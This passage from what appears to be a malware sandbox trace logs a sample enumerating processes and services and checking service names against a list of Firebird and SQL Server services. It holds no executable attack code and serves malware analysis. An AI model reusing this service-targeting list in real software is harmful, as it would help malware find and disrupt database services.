th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0152.949] lstrlenW (lpString="audiodg.exe") returned 11 [0152.949] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.950] lstrlenW (lpString="svchost.exe") returned 11 [0152.950] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0152.950] lstrlenW (lpString="userinit.exe") returned 12 [0152.950] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0152.950] lstrlenW (lpString="explorer.exe") returned 12 [0152.950] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0152.950] lstrlenW (lpString="dwm.exe") returned 7 [0152.951] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.951] lstrlenW (lpString="svchost.exe") returned 11 [0152.951] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0152.951] lstrlenW (lpString="n.exe") returned 5 [0152.951] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0152.952] lstrlenW (lpString="spoolsv.exe") returned 11 [0152.952] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.952] lstrlenW (lpString="svchost.exe") returned 11 [0152.952] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0152.952] lstrlenW (lpString="taskhost.exe") returned 12 [0152.952] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0152.953] lstrlenW (lpString="reader_sl.exe") returned 13 [0152.953] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0152.953] lstrlenW (lpString="rundll32.exe") returned 12 [0152.953] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x49c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dinotify.exe")) returned 1 [0152.953] lstrlenW (lpString="dinotify.exe") returned 12 [0152.953] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0152.953] lstrlenW (lpString="n.exe") returned 5 [0152.954] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0152.954] lstrlenW (lpString="consent.exe") returned 11 [0152.954] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0152.954] CloseHandle (hObject=0x338) returned 1 [0152.954] Sleep (dwMilliseconds=0x1f4) [0153.543] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42dccb8 [0153.543] EnumServicesStatusExW (in: hSCManager=0x42dccb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0153.544] GetLastError () returned 0xea [0153.544] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x433e1b8 [0153.544] EnumServicesStatusExW (in: hSCManager=0x42dccb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x433e1b8, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x433e1b8, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0153.544] CloseServiceHandle (hSCObject=0x42dccb8) returned 1 [0153.545] lstrlenW (lpString="Appinfo") returned 7 [0153.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0153.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0153.545] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0153.545] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0153.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0153.545] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0153.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0153.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0153.545] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0153.545] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0153.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0153.545] lstrlenW (lpString="AudioSrv") returned 8 [0153.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0153.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0153.545] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0153.545] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0153.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0153.545] lstrlenW (lpString="BFE") returned 3 [0153.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0153.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0153.545] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0153.545] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0153.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0153.545] lstrlenW (lpString="CryptSvc") returned 8 [0153.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0153.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0153.545] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0153.545] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0153.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0153.545] lstrlenW (lpString="CscService") returned 10 [0153.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0153.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0153.546] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0153.546] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0153.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0153.546] lstrlenW (lpString="DcomLaunch") returned 10 [0153.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0153.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0153.546] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0153.546] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0153.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0153.546] lstrlenW (lpString="Dhcp") returned 4 [0153.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0153.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0153.546] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0153.546] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0153.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0153.546] lstrlenW (lpString="Dnscache") returned 8 [0153.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0153.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0153.546] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0153.546] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0153.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0153.546] lstrlenW (lpString="DPS") returned 3 [0153.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0153.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0153.546] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0153.546] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0153.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0153.546] lstrlenW (lpString="eventlog") returned 8 [0153.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0153.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0153.547] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0153.547] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0153.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0153.547] lstrlenW (lpString="EventSystem") returned 11 [0153.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0153.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0153.547] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0153.547] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0153.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0153.547] lstrlenW (lpString="gpsvc") returned 5 [0153.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0153.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0153.547] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0153.547] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0153.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0153.547] lstrlenW (lpString="iphlpsvc") returned 8 [0153.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0153.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0153.547] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0153.547] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0153.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0153.547] lstrlenW (lpString="LanmanServer") returned 12 [0153.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0153.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0153.547] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0153.547] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0153.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0153.547] lstrlenW (lpString="LanmanWorkstation") returned 17 [0153.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0153.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0153.548] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0153.548] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0153.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0153.548] lstrlenW (lpString="lmhosts") returned 7 [0153.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0153.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0153.548] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0153.548] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0153.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0153.548] lstrlenW (lpString="MMCSS") returned 5 [0153.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0153.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0153.548] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0153.548] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0153.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0153.548] lstrlenW (lpString="MpsSvc") returned 6 [0153.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0153.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0153.548] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0153.548] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0153.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0153.548] lstrlenW (lpString="Netman") returned 6 [0153.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0153.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0153.548] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0153.548] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0153.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0153.548] lstrlenW (lpString="netprofm") returned 8 [0153.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0153.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0153.548] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0153.549] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0153.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0153.549] lstrlenW (lpString="NlaSvc") returned 6 [0153.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0153.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0153.549] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0153.549] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0153.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0153.549] lstrlenW (lpString="nsi") returned 3 [0153.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0153.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0153.549] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0153.549] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0153.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0153.549] lstrlenW (lpString="PcaSvc") returned 6 [0153.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0153.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0153.549] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0153.549] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0153.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0153.549] lstrlenW (lpString="PlugPlay") returned 8 [0153.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0153.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0153.549] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0153.549] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0153.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0153.549] lstrlenW (lpString="Power") returned 5 [0153.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0153.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0153.549] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0153.549] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0153.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0153.550] lstrlenW (lpString="ProfSvc") returned 7 [0153.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0153.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0153.550] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0153.550] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0153.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0153.550] lstrlenW (lpString="RpcEptMapper") returned 12 [0153.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0153.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0153.550] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0153.550] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0153.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0153.550] lstrlenW (lpString="RpcSs") returned 5 [0153.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0153.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0153.550] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0153.550] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0153.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0153.550] lstrlenW (lpString="SamSs") returned 5 [0153.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0153.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0153.550] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0153.550] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0153.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0153.550] lstrlenW (lpString="Schedule") returned 8 [0153.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0153.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0153.550] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0153.550] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0153.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0153.550] lstrlenW (lpString="SENS") returned 4 [0153.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0153.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0153.551] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0153.551] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0153.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0153.551] lstrlenW (lpString="ShellHWDetection") returned 16 [0153.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0153.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0153.551] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0153.551] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0153.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0153.551] lstrlenW (lpString="Spooler") returned 7 [0153.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0153.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0153.551] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0153.551] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0153.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0153.551] lstrlenW (lpString="SysMain") returned 7 [0153.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0153.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0153.551] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0153.551] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0153.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0153.551] lstrlenW (lpString="Themes") returned 6 [0153.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0153.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0153.551] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0153.551] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0153.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0153.551] lstrlenW (lpString="TrkWks") returned 6 [0153.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0153.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0153.551] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0153.552] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0153.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0153.552] lstrlenW (lpString="UxSms") returned 5 [0153.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0153.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0153.552] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0153.552] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0153.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0153.552] lstrlenW (lpString="WdiServiceHost") returned 14 [0153.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0153.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0153.552] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0153.552] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0153.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0153.552] lstrlenW (lpString="WdiSystemHost") returned 13 [0153.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0153.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0153.552] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0153.552] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0153.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0153.552] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0153.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0153.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0153.552] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0153.552] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0153.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0153.552] lstrlenW (lpString="Winmgmt") returned 7 [0153.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0153.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0153.552] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned 